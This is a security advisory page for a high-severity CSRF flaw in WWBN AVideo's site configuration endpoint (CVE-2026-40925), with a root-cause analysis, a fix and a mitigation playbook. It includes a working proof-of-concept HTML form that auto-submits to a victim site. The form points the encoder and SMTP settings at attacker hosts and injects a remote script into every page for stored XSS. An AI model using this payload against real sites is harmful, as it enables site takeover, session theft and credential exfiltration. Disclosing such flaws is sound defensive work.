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HIGH severity

GHSA-vvfw-4m39-fjqf — wwbn/avideo

HIGHFix: WWBN/AVideo@f9492f5

GHSA-vvfw-4m39-fjqf is a high-severity (CVSS 8.3) Cross-Site Request Forgery (CSRF) vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials

Also known asCVE-2026-40925
Published
Apr 14, 2026
Updated
May 5, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vvfw-4m39-fjqf.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-vvfw-4m39-fjqf plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $_POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request.

Details

The entire authorization and CSRF check for the endpoint is this block at objects/configurationUpdate.json.php:10:

require_once $global['systemRootPath'] . 'objects/user.php';
if (!User::isAdmin()) {
    die('{"error":"' . __("Permission denied") . '"}');
}

Immediately after, $_POST values are written straight into the global AVideoConf object and persisted:

// objects/configurationUpdate.json.php
$config = new AVideoConf();
$config->setContactEmail($_POST['contactEmail']);          // :21
$config->setLanguage($_POST['language']);                  // :22
$config->setWebSiteTitle($_POST['webSiteTitle']);          // :23
$config->setDescription($_POST['description']);           // :24
$config->setAuthCanComment($_POST['authCanComment']);     // :25
$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26
// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):
$config->setEncoderURL($_POST['encoder_url']);            // :32
$config->setSmtp($_POST['smtp']);                         // :33
$config->setSmtpAuth($_POST['smtpAuth']);                 // :34
$config->setSmtpSecure($_POST['smtpSecure']);             // :35
$config->setSmtpHost($_POST['smtpHost']);                 // :36
$config->setSmtpUsername($_POST['smtpUsername']);         // :37
$config->setSmtpPassword($_POST['smtpPassword']);         // :38
$config->setSmtpPort($_POST['smtpPort']);                 // :39
$config->setHead($_POST['head']);                         // :42
// ...
// Logo / favicon writes:
$fileData = base64DataToImage($_POST['logoImgBase64']);   // :68
file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71
// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)
echo '{"status":"' . $config->save() . '", ...}';         // :130

Why CSRF actually lands

  1. SameSite is intentionally None. objects/include_config.php:144 sets ini_set('session.cookie_samesite', 'None') and the adjacent comment states the design: "SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." This endpoint enforces no such token.

  2. Project already ships a CSRF primitive and uses it elsewhere. objects/functionsSecurity.php:138 defines forbidIfIsUntrustedRequest(), and the peer admin endpoint objects/userUpdate.json.php:18 calls it explicitly. configurationUpdate.json.php has no such call — grepping the file confirms no forbidIfIsUntrustedRequest, verifyToken, globalToken, or Origin/Referer check.

  3. The request is CORS-simple. The admin UI submits with jQuery $.ajax(...type: 'post', data: {...}) (see view/configurations_body.php:753), which sends application/x-www-form-urlencoded. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a <form> with the admin's session cookie attached.

  4. Reachable via two paths. Direct POST /objects/configurationUpdate.json.php works, and .htaccess:459 also exposes it at POST /updateConfig.

Impact primitives unlocked by a single CSRF request

  • setEncoderURL() — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in aVideoEncoder.json.php / videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.
  • setSmtpHost/Username/Password/Port/Secure/Auth — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.
  • setHead() — attacker-chosen raw HTML is injected into every page's <head>, giving persistent site-wide stored XSS (e.g. <script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.
  • logoImgBase64 / faviconBase64 — attacker-controlled bytes are file_put_contents-ed into the web root under videos/userPhoto/logo.png and videos/favicon.png.
  • setContactEmail, setWebSiteTitle, setAuthCanUploadVideos, setAllow_download, setSession_timeout, setAdsense, setDisable_analytics — full site policy and branding control.

PoC

  1. Attacker hosts evil.html on any origin:
<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
      method="POST" enctype="application/x-www-form-urlencoded">
  <input name="contactEmail"        value="[email protected]">
  <input name="language"            value="en">
  <input name="webSiteTitle"        value="Pwned">
  <input name="description"         value="x">
  <input name="authCanComment"      value="1">
  <input name="authCanUploadVideos" value="1">
  <input name="authCanViewChart"    value="1">
  <input name="disable_analytics"   value="0">
  <input name="allow_download"      value="1">
  <input name="session_timeout"     value="3600">
  <input name="encoder_url"         value="https://attacker.example.com/Encoder/">
  <input name="smtp"                value="1">
  <input name="smtpAuth"            value="1">
  <input name="smtpSecure"          value="tls">
  <input name="smtpHost"            value="smtp.attacker.com">
  <input name="smtpUsername"        value="attacker">
  <input name="smtpPassword"        value="password">
  <input name="smtpPort"            value="587">
  <input name="head"                value='<script src="https://attacker.example.com/evil.js"></script>'>
  <input name="adsense"             value="x">
  <input name="autoplay"            value="1">
  <input name="theme"               value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>

  1. Any user authenticated as AVideo administrator (User::isAdmin() true) visits https://attacker.example.com/evil.html. Their browser submits the form cross-origin; because session.cookie_samesite=None, PHPSESSID is included; because it's an application/x-www-form-urlencoded POST, no preflight is sent.

  2. Server-side check at configurationUpdate.json.php:10 passes (User::isAdmin() is true for the victim), and the body reaches $config->save() at :130. Response:

    {"status":"1","respnseLogo":[],"respnseFavicon":null}

    The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected <script> in the rendered <head>, and by inspecting videos/configuration.php / the configurations table.

  3. Stored-XSS pivot: every subsequent visitor (including other admins) now executes https://attacker.example.com/evil.js from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.

  4. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to smtp.attacker.com:587 with attacker:password, and any future mail from AVideo is observable by the attacker.

Impact

  • Full site configuration takeover from a single cross-origin form submission against any logged-in administrator.
  • Persistent stored XSS site-wide via setHead(), affecting every visitor and enabling session hijack of other admins and users.
  • Credential / reset-token exfiltration via attacker-controlled SMTP relay.
  • Encoder pipeline hijack: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
  • Arbitrary file write under web root via logoImgBase64 / faviconBase64.
  • No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.

Recommended Fix

Call the existing CSRF primitive immediately after the admin check, matching what objects/userUpdate.json.php:18 already does:

// objects/configurationUpdate.json.php
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
if (!User::isAdmin()) {
    die('{"error":"' . __("Permission denied") . '"}');
}
forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check

Preferably also require a short-lived globalToken (verifyToken($_REQUEST['globalToken'])) as include_config.php:140-143 prescribes, and update view/configurations_body.php to include that token in the AJAX payload. Audit all other objects/*.json.php state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-vvfw-4m39-fjqf yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vvfw-4m39-fjqf can be triaged on real exposure rather than presence alone.

Tailored to GHSA-vvfw-4m39-fjqf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP creden
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GHSA-vvfw-4m39-fjqf: wwbn/avideo (High 8.3) | O3 Security